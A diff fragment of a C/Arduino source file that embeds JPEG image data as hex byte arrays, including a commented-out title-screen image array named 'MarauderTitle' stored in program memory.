+ 0xA4, 0x8C, 0x0A, 0x74, 0xE4, 0xB4, 0x2A, 0x4B, 0x9B, 0x1F, 0x5F, 0xE3, 0xA9, 0xB2, 0xFE, 0x58,
+ 0x7D, 0x98, 0xFE, 0x6D, 0xF9, 0xBF, 0x23, 0xC2, 0xF1, 0x2B, 0x36, 0xC2, 0x50, 0xFA, 0xBF, 0x0A,
+ 0xE5, 0x32, 0x4F, 0x0F, 0x83, 0x4D, 0x4A, 0x4B, 0x6A, 0xB5, 0xDE, 0x95, 0x6A, 0xFA, 0x69, 0x18,
+ 0x46, 0xFF, 0x00, 0x66, 0x09, 0xE9, 0x7B, 0x1F, 0x16, 0xFF, 0x00, 0xC1, 0xBA, 0xDF, 0xB3, 0xC7,
+ 0x88, 0xBE, 0x22, 0xFE, 0xD7, 0xF3, 0xF8, 0x86, 0xE3, 0xE1, 0x57, 0xC3, 0xFF, 0x00, 0x1E, 0x7C,
+ 0x34, 0xB7, 0xD2, 0xEE, 0x2C, 0x75, 0xFB, 0xDF, 0x1F, 0x78, 0x2E, 0x5F, 0x10, 0x68, 0xB6, 0xA1,
+ 0x67, 0xB2, 0x91, 0xA2, 0xB3, 0xC9, 0x58, 0x53, 0x53, 0x3B, 0xA1, 0x45, 0x67, 0x63, 0xE5, 0x43,
+ 0x71, 0x33, 0x98, 0xE4, 0x18, 0x46, 0xFE, 0x8C, 0xBF, 0x67, 0x4F, 0x80, 0x51, 0xFC, 0x2E, 0x97,
+ 0x58, 0xD6, 0x75, 0x4D, 0x63, 0xC5, 0x5E, 0x28, 0xF1, 0xA6, 0xB5, 0x3E, 0xDD, 0x67, 0xC4, 0x1A,
+ 0xFE, 0xA3, 0x25, 0xE5, 0xD6, 0xA7, 0xE5, 0xBC, 0xCE, 0x8B, 0x18, 0x3B, 0x63, 0x86, 0xD5, 0x5A,
+ 0xE2, 0x67, 0x8A, 0xD6, 0x08, 0xE2, 0xB6, 0x85, 0xA7, 0x98, 0xC3, 0x0C, 0x5E, 0x63, 0x06, 0xAF,
+ 0xFB, 0x26, 0x7E, 0xCA, 0x9E, 0x1D, 0xFD, 0x8F, 0x7E, 0x1B, 0x68, 0xFE, 0x0B, 0xF8, 0x7D, 0x6F,
+ 0x75, 0xA0, 0xFC, 0x3E, 0xD2, 0xED, 0xE6, 0x7B, 0x0D, 0x16, 0x79, 0xE4, 0xB8, 0x96, 0xD6, 0x69,
+ 0xE7, 0x17, 0x12, 0x17, 0x92, 0x62, 0xF2, 0xB1, 0xDC, 0xF2, 0x1C, 0x19, 0x30, 0x3C, 0xCC, 0x6D,
+ 0xE0, 0x11, 0xEB, 0x30, 0xC7, 0xE5, 0x22, 0x2E, 0x5B, 0x0A, 0x02, 0xE5, 0x98, 0xB1, 0xFC, 0xCE,
+ 0x49, 0x3F, 0x5A, 0xF7, 0x0F, 0xCA, 0x84, 0x91, 0xD6, 0x08, 0x99, 0x99, 0x96, 0x34, 0x50, 0x59,
+ 0x9B, 0x38, 0x0A, 0x3B, 0x9C, 0xD7, 0x9F, 0xF8, 0xAB, 0x5B, 0x4D, 0x47, 0x53, 0x92, 0x46, 0x91,
+ 0x16, 0x18, 0xF2, 0x88, 0x59, 0xB0, 0x30, 0x01, 0x27, 0x1F, 0x91, 0x23, 0xB9, 0xE9, 0x5E, 0x39,
+ 0xFF, 0x00, 0x05, 0x00, 0xFF, 0x00, 0x82, 0x82, 0xF8, 0x1F, 0xF6, 0x18, 0xF8, 0x63, 0x79, 0xE2,
+ 0xCF, 0x88, 0x5A, 0x9D, 0xFD, 0x9E, 0x96, 0xB7, 0xAD, 0xA7, 0x58, 0xDB, 0x5A, 0x59, 0x49, 0x71,
+ 0x25, 0xF5, 0xE0, 0x86, 0x69, 0x63, 0xB6, 0x8D, 0x54, 0x15, 0x59, 0x1D, 0x60, 0x93, 0x0D, 0x2B,
+ 0x24, 0x60, 0xE3, 0x73, 0xA0, 0xC5, 0x7E, 0x1E, 0xFF, 0x00, 0xC1, 0x4B, 0x3F, 0xE0, 0xE2, 0xAF,
+ 0x1D, 0x7E, 0xD3, 0x53, 0x5D, 0x78, 0x63, 0xE1, 0x0B, 0xEB, 0x5F, 0x0E, 0x7C, 0x16, 0xC6, 0xDA,
+ 0x53, 0xAB, 0x19, 0x0D, 0x9F, 0x89, 0xAE, 0xE5, 0x4C, 0xB4, 0x8B, 0xE6, 0xC1, 0x2B, 0x25, 0xAC,
+ 0x25, 0xF6, 0x0D, 0x91, 0x31, 0x76, 0x10, 0xE4, 0xCA, 0x12, 0x57, 0x84, 0x00, 0x77, 0xBF, 0xF0,
+ 0x73, 0x5F, 0xED, 0xED, 0x63, 0xF1, 0x2F, 0xC4, 0xDE, 0x1D, 0xF8, 0x27, 0xE1, 0xDB, 0x8F, 0x0C,
+ 0xEB, 0x5A, 0x66, 0x87, 0x72, 0x3C, 0x47, 0xAE, 0x6A, 0x56, 0x3A, 0x8A, 0xDD, 0xCF, 0x69, 0xA9,
+ 0xC6, 0xF7, 0xB6, 0x5F, 0xD9, 0xCE, 0xB1, 0xB1, 0x58, 0x1E, 0x15, 0xF3, 0x1A, 0x44, 0x7C, 0xC8,
+ 0x4C, 0xB1, 0x0C, 0x47, 0xB0, 0xF9, 0x9F, 0x93, 0x34, 0xE6, 0x7D, 0xC3, 0xA0, 0xEB, 0xF9, 0x53,
+ 0x68, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A,
+ 0x28, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A, 0x28, 0x00, 0xA2, 0x8A,
+ 0x28, 0x00, 0xA7, 0x99, 0x37, 0x0C, 0x73, 0x81, 0xDA, 0x99, 0x4E, 0x51, 0xC5, 0x03, 0x4C, 0x99,
+ 0x34, 0xCB, 0x89, 0xF4, 0xF9, 0x2E, 0x96, 0x19, 0x1A, 0xD6, 0x19, 0x16, 0x29, 0x26, 0x0A, 0x76,
+ 0x23, 0xB0, 0x62, 0xAA, 0x4F, 0x40, 0x48, 0x56, 0x20, 0x77, 0xDA, 0x7D, 0x2B, 0xD4, 0x3F, 0x67,
+ 0x8F, 0x86, 0xB6, 0xD1, 0x59, 0x5E, 0x78, 0xEF, 0xC4, 0x03, 0x6F, 0x87, 0x7C, 0x36, 0xDB, 0xD5,
+ 0x46, 0x1B, 0xED, 0x57, 0x2A, 0x63, 0xD9, 0x11, 0x5C, 0x13, 0xB4, 0x97, 0x5E, 0x48, 0xC1, 0xE9,
+ 0x9E, 0xB8, 0xF5, 0xAF, 0xD9, 0xE3, 0xE0, 0x66, 0x97, 0xE3, 0xBF, 0xD9, 0x68, 0xDA, 0xDE, 0xAC,
+ 0x4B, 0x2F, 0x88, 0xA7, 0x92, 0xE7, 0xED, 0x29, 0x02, 0xF9, 0xD6, 0xED, 0x1C, 0x8D, 0x1C, 0x78,
+ 0x27, 0x96, 0x03, 0x63, 0x1E, 0xDC, 0x48, 0xC0, 0x63, 0x24, 0xD5, 0x7F, 0xDA, 0xBF, 0xE1, 0xA5,
+ 0xE4, 0x1E, 0x17, 0xB7, 0xB5, 0xD3, 0xF5, 0x2F, 0x0D, 0xF8, 0x6F, 0xC2, 0xDA, 0x6D, 0xBB, 0xCF,
+ 0x1E, 0x9E, 0xF7, 0x2D, 0x6F, 0x26, 0xA1, 0x32, 0x8C, 0xB0, 0x54, 0x0B, 0xB6, 0x46, 0x1F, 0x28,
+ 0x51, 0x92, 0xD9, 0x24, 0x93, 0xF3, 0x57, 0xC4, 0xE2, 0x38, 0x8E, 0x96, 0x2F, 0x13, 0x2C, 0xAE,
+ 0x9C, 0xB9, 0x65, 0xCC, 0xE2, 0xDF, 0xF7, 0x55, 0xAF, 0x6F, 0x37, 0xAA, 0x5D, 0xAD, 0x73, 0xFA,
+ 0x7F, 0x25, 0xF0, 0x5F, 0x1F, 0x90, 0x64, 0xB4, 0x38, 0xEF, 0x1D, 0x4D, 0x57, 0xA7, 0xEC, 0x63,
+ 0x5A, 0x9D, 0x3D, 0x1A, 0xF6, 0xB3, 0xE6, 0x70, 0xF6, 0x9A, 0xDB, 0xD9, 0xD3, 0x8A, 0x85, 0x49,
+ 0xDD, 0xAE, 0x6E, 0x65, 0x05, 0xAF, 0x35, 0xBC, 0x77, 0xE2, 0xF6, 0xA5, 0xE2, 0x8F, 0x8B, 0xD1,
+ 0x4B, 0xE3, 0x4B, 0xE8, 0x4B, 0x68, 0xAF, 0x78, 0xD6, 0x16, 0xA4, 0x49, 0x1F, 0xFA, 0x30, 0x24,
+ 0xBA, 0x45, 0x81, 0x82, 0x70, 0xA7, 0xEF, 0x15, 0xE4, 0xF5, 0xE6, 0xBD, 0x22, 0xED, 0xA1, 0xFD,
+ 0x92, 0xFE, 0x07, 0x2C, 0x7E, 0x4C, 0x50, 0xF8, 0xFB, 0xC4, 0x41, 0xE1, 0x98, 0xB4, 0xE1, 0xA6,
+ 0xB2, 0x88, 0x96, 0x01, 0xD4, 0xA6, 0x40, 0x0A, 0x02, 0xE0, 0x02, 0x32, 0xE7, 0x24, 0x90, 0x9B,
+ 0x47, 0xAE, 0x7E, 0xCE, 0xDE, 0x06, 0xB5, 0xB3, 0xFD, 0x9F, 0x74, 0x1B, 0x1D, 0x42, 0xCF, 0x4F,
+ 0xBC, 0x8E, 0xF6, 0xD9, 0x6F, 0x26, 0x8D, 0xE2, 0x0F, 0x1C, 0xDE, 0x61, 0x12, 0xA1, 0x70, 0x47,
+ 0xCC, 0xC1, 0x7C, 0xB1, 0xC8, 0xE0, 0xA8, 0xC1, 0xE0, 0x1A, 0xF2, 0x7F, 0xDB, 0x0C, 0x78, 0x0D,
+ 0xF5, 0xAB, 0xAB, 0xF9, 0xB5, 0x4D, 0x4F, 0x58, 0xF1, 0x2B, 0x01, 0x6E, 0x96, 0x36, 0xF7, 0xEA,
+ 0x61, 0xD3, 0xC2, 0xAB, 0x2F, 0x23, 0x63, 0x05, 0x01, 0x94, 0x16, 0x8F, 0x70, 0x62, 0x5C, 0x9E,
+ 0x33, 0x9A, 0xF2, 0xE8, 0xE7, 0x10, 0xC6, 0xE3, 0x16, 0x54, 0xA9, 0xB5, 0x4E, 0x9C, 0x9E, 0x91,
+ 0x57, 0xE6, 0x51, 0x76, 0x8A, 0x7D, 0xA3, 0xBB, 0x7D, 0xEC, 0x8F, 0xBB, 0xCC, 0x3C, 0x39, 0xC4,
+ 0x70, 0xD7, 0x0D, 0xD4, 0xE3, 0xFA, 0x98, 0xC8, 0x4B, 0x1B, 0x8C, 0xA3, 0x06, 0xA5, 0x5A, 0x5C,
+ 0xAE, 0x94, 0xAA, 0xC5, 0xCA, 0xAC, 0xE9, 0xE8, 0xDC, 0xAA, 0x5B, 0x96, 0x14, 0xD4, 0x57, 0xBA,
+ 0xA5, 0x37, 0xB2, 0x4D, 0x7C, 0xDE, 0xC7, 0x23, 0xAD, 0x7A, 0x67, 0xEC, 0x65, 0xFB, 0x52, 0x6B,
+ 0xBF, 0xB1, 0x97, 0xED, 0x35, 0xE0, 0xCF, 0x89, 0x1A, 0x0D, 0xC6, 0xAE, 0xB2, 0x78, 0x5F, 0x57,
+ 0xB4, 0xBE, 0xBD, 0xB2, 0xD3, 0xF5, 0x49, 0x34, 0xD6, 0xD6, 0x6C, 0xE2, 0x9E, 0x39, 0x67, 0xB1,
+ 0x92, 0x54, 0x04, 0x88, 0xA7, 0x44, 0x31, 0xB8, 0x65, 0x75, 0x21, 0xB9, 0x56, 0x1C, 0x1F, 0x31,
+ 0x66, 0xCA, 0xD3, 0x73, 0x8A, 0xFD, 0x28, 0xFE, 0x24, 0x3F, 0xB5, 0x2F, 0xD9, 0xF7, 0xF6, 0xA0,
+ 0xF0, 0x2F, 0xED, 0x51, 0xF0, 0x33, 0x49, 0xF8, 0x97, 0xE0, 0x3D, 0x79, 0x75, 0xBF, 0x04, 0x6B,
+ 0x82, 0x73, 0x65, 0xA9, 0x35, 0xA4, 0xF6, 0x7E, 0x70, 0x86, 0x79, 0x2D, 0xE4, 0xFD, 0xD4, 0xE8,
+ 0x92, 0xAE, 0x26, 0x89, 0xD7, 0xE6, 0x41, 0x9D, 0xB9, 0x19, 0x04, 0x13, 0xF9, 0xF3, 0xFF, 0x00,
+ 0x05, 0xA6, 0xFF, 0x00, 0x82, 0xFB, 0xE8, 0x7F, 0xB1, 0x55, 0x85, 0xC7, 0x80, 0xBC, 0x0F, 0x06,
+ 0x9F, 0xAF, 0x7C, 0x50, 0x9E, 0x28, 0x2E, 0x5A, 0xC6, 0xE6, 0x13, 0x73, 0x61, 0xA5, 0x42, 0x65,
+ 0x8D, 0xC1, 0xBE, 0x68, 0xE5, 0x89, 0xD2, 0x49, 0x21, 0x25, 0xA2, 0x8A, 0x36, 0xDC, 0x01, 0x57,
+ 0x7C, 0x23, 0xC7, 0xE6, 0x7E, 0x14, 0x7E, 0xCD, 0xDF, 0xF0, 0x52, 0x1F, 0x8C, 0x5F, 0xB2, 0x3F,
+ 0xC1, 0x2F, 0x17, 0x78, 0x07, 0xE1, 0xEF, 0x8C, 0xB5, 0x0F, 0x0E, 0x68, 0x7E, 0x34, 0xBB, 0x8A,
+ 0xF2, 0xF0, 0xC0, 0xE5, 0xA6, 0xB5, 0x75, 0x82, 0x68, 0x24, 0x36, 0xBB, 0x89, 0x4B, 0x69, 0x25,
+ 0x49, 0x63, 0xDF, 0x3C, 0x4A, 0xB3, 0xE6, 0xD2, 0xDF, 0x6C, 0x88, 0x10, 0x86, 0xF2, 0x4F, 0x88,
+ 0x1F, 0x11, 0x7C, 0x41, 0xF1, 0x5F, 0xC5, 0xB7, 0x7A, 0xF7, 0x8A, 0x35, 0xCD, 0x63, 0xC4, 0x9A,
+ 0xE5, 0xFE, 0xCF, 0xB4, 0xEA, 0x3A, 0xAD, 0xEC, 0x97, 0x97, 0x77, 0x3B, 0x11, 0x63, 0x5D, 0xF2,
+ 0xC8, 0x59, 0xDB, 0x08, 0xAA, 0xA3, 0x24, 0xE1, 0x54, 0x0E, 0x80, 0x50, 0x02, 0x7C, 0x44, 0xF1,
+ 0xF6, 0xAD, 0xF1, 0x5B, 0xC7, 0xFA, 0xE7, 0x8A, 0x35, 0xEB, 0xBF, 0xB7, 0xEB, 0xBE, 0x24, 0xD4,
+ 0x2E, 0x35, 0x5D, 0x4A, 0xEB, 0xCA, 0x48, 0x7E, 0xD3, 0x73, 0x3C, 0x8D, 0x2C, 0xB2, 0x6C, 0x40,
+ 0xA8, 0xBB, 0x9D, 0xD8, 0xE1, 0x40, 0x51, 0x9C, 0x00, 0x06, 0x05, 0x63, 0x51, 0x45, 0x00, 0x14,
+ 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14,
+ 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14, 0x51, 0x45, 0x00, 0x14,
+ 0x51, 0x45, 0x00, 0x15, 0x6B, 0x47, 0xD3, 0xE5, 0xD5, 0xB5, 0x3B, 0x7B, 0x58, 0x63, 0x92, 0x69,
+ 0xAE, 0xA5, 0x58, 0x63, 0x8D, 0x14, 0xB3, 0x48, 0xCC, 0x40, 0x00, 0x01, 0xC9, 0x24, 0x9C, 0x60,
+ 0x55, 0x5A, 0x55, 0x6C, 0x1A, 0x0A, 0xA7, 0x24, 0xA4, 0x9C, 0x95, 0xD1, 0xF5, 0xEF, 0x8B, 0xBE,
+ 0x3E, 0x68, 0x7F, 0xB2, 0xEF, 0x82, 0x34, 0xFF, 0x00, 0x09, 0xD8, 0x5A, 0xAE, 0xA1, 0xAF, 0x69,
+ 0xB6, 0xEB, 0x1C, 0xD6, 0xEA, 0xEE, 0xB0, 0xDB, 0xC8, 0xC8, 0x24, 0x67, 0x67, 0x61, 0x96, 0xDC,
+ 0xCF, 0xB8, 0x2A, 0xF6, 0xC8, 0xCA, 0xF1, 0x5F, 0x31, 0xFC, 0x40, 0xF8, 0xA3, 0xAE, 0x7C, 0x51,
+ 0xD5, 0xA2, 0xBD, 0xD7, 0x2F, 0x9A, 0xF2, 0xE2, 0x18, 0x84, 0x08, 0xC2, 0x34, 0x8C, 0x2A, 0x02,
+ 0x48, 0x18, 0x40, 0x07, 0x56, 0x3C, 0x9E, 0x79, 0xAE, 0x7D, 0xDF, 0x70, 0xA6, 0xD7, 0x89, 0x95,
+ 0xE4, 0x18, 0x5C, 0x14, 0xA5, 0x56, 0x2B, 0x9A, 0xA4, 0x9B, 0x6E, 0x4F, 0x76, 0xDE, 0xAE, 0xDD,
+ 0x97, 0x92, 0xF9, 0xDC, 0xFD, 0x43, 0x8F, 0x3C, 0x5C, 0xCF, 0x78, 0x9E, 0x95, 0x2C, 0x05, 0x59,
+ 0xFB, 0x1C, 0x1D, 0x18, 0xC6, 0x34, 0xE8, 0x41, 0xB5, 0x08, 0xC6, 0x29, 0x28, 0xF3, 0x6D, 0xCF,
+ 0x24, 0x92, 0xF7, 0xA5, 0xB6, 0xBC, 0xAA, 0x29, 0xD8, 0xF7, 0x0F, 0x14, 0x7E, 0xD8, 0xB7, 0xD6,
+ 0xBF, 0x0C, 0xBC, 0x3F, 0xE1, 0xFF, 0x00, 0x0B, 0xFD, 0xA3, 0x4D, 0x9A, 0xC7, 0x4E, 0x86, 0xD6,
+ 0xFA, 0xF2, 0x44, 0x4F, 0x31, 0x9D, 0x22, 0x54, 0x2B, 0x10, 0xC9, 0xC2, 0xF0, 0x4E, 0xEE, 0x1B,
+ 0x38, 0xC6, 0xDC, 0x1C, 0xF8, 0xAC, 0xF7, 0x0F, 0x72, 0xCC, 0xD2, 0x31, 0x66, 0x63, 0x92, 0x4F,
+ 0x73, 0x50, 0xD1, 0x5D, 0xB8, 0x1C, 0xB7, 0x0F, 0x84, 0x4D, 0x50, 0x8D, 0x9C, 0x9B, 0x6D, 0xF5,
+ 0x6D, 0xBB, 0xEA, 0xF7, 0x67, 0xCB, 0xF1, 0x47, 0x1A, 0xE7, 0x3C, 0x41, 0x52, 0x9C, 0xB3, 0x4A,
+ 0xCE, 0x6A, 0x94, 0x63, 0x08, 0x47, 0x68, 0x42, 0x31, 0x4A, 0x29, 0x46, 0x2B, 0x48, 0xDD, 0x25,
+ 0x7B, 0x2B, 0xB7, 0xAB, 0xBB, 0x0A, 0x28, 0xA2, 0xBB, 0x8F, 0x95, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x0A,
+ 0x28, 0xA2, 0x80, 0x0A, 0x28, 0xA2, 0x80, 0x3F, 0xFF, 0xD9};
+ *//*static const uint8_t MarauderTitle[] PROGMEM = {
+ 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60,
+ 0x00, 0x60, 0x00, 0x00, 0xff, 0xe1, 0x00, 0x66, 0x45, 0x78, 0x69, 0x66, 0x00, 0x00, 0x4d, 0x4d,
+ 0x00, 0x2a, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, 0x01, 0x1a, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00, 0x00, 0x3e, 0x01, 0x1b, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x46,
+ 0x01, 0x28, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x01, 0x31, 0x00, 0x02,
+ 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60,
+ 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x01, 0x70, 0x61, 0x69, 0x6e,
+ 0x74, 0x2e, 0x6e, 0x65, 0x74, 0x20, 0x35, 0x2e, 0x30, 0x2e, 0x39, 0x00, 0xff, 0xdb, 0x00, 0x43,
+ 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03,
+ 0x05, 0x03, 0x03, 0x03, 0x03, 0x03, 0x06, 0x04, 0x04, 0x03, 0x05, 0x07, 0x06, 0x07, 0x07, 0x07,
+ 0x06, 0x07, 0x07, 0x08, 0x09, 0x0b, 0x09, 0x08, 0x08, 0x0a, 0x08, 0x07, 0x07, 0x0a, 0x0d, 0x0a,
+ 0x0a, 0x0b, 0x0c, 0x0c, 0x0c, 0x0c, 0x07, 0x09, 0x0e, 0x0f, 0x0d, 0x0c, 0x0e, 0x0b, 0x0c, 0x0c,
+ 0x0c, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x02, 0x02, 0x02, 0x03, 0x03, 0x03, 0x06, 0x03, 0x03, 0x06,
+ 0x0c, 0x08, 0x07, 0x08, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c,
+ 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c,
+ 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c,
+ 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x9a, 0x00, 0x78, 0x03,
+ 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00, 0x1f, 0x00, 0x00, 0x01,
+ 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
+ 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0xff, 0xc4, 0x00, 0xb5, 0x10, 0x00,
+ 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7d, 0x01,
+ 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22,
+ 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08, 0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0, 0x24,
+ 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28, 0x29,
+ 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a,
+ 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a,
+ 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a,
+ 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8,
+ 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6,
+ 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2, 0xe3,
+ 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,
+ 0xfa, 0xff, 0xc4, 0x00, 0x1f, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
+ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
+ 0x0a, 0x0b, 0xff, 0xc4, 0x00, 0xb5, 0x11, 0x00, 0x02, 0x01, 0x02, 0x04, 0x04, 0x03, 0x04, 0x07,
+ 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x21, 0x31,
+ 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x08, 0x14, 0x42, 0x91, 0xa1,
+ 0xb1, 0xc1, 0x09, 0x23, 0x33, 0x52, 0xf0, 0x15, 0x62, 0x72, 0xd1, 0x0a, 0x16, 0x24, 0x34, 0xe1,
+ 0x25, 0xf1, 0x17, 0x18, 0x19, 0x1a, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x35, 0x36, 0x37, 0x38, 0x39,
+ 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
+ 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
+ 0x7a, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+ 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5,
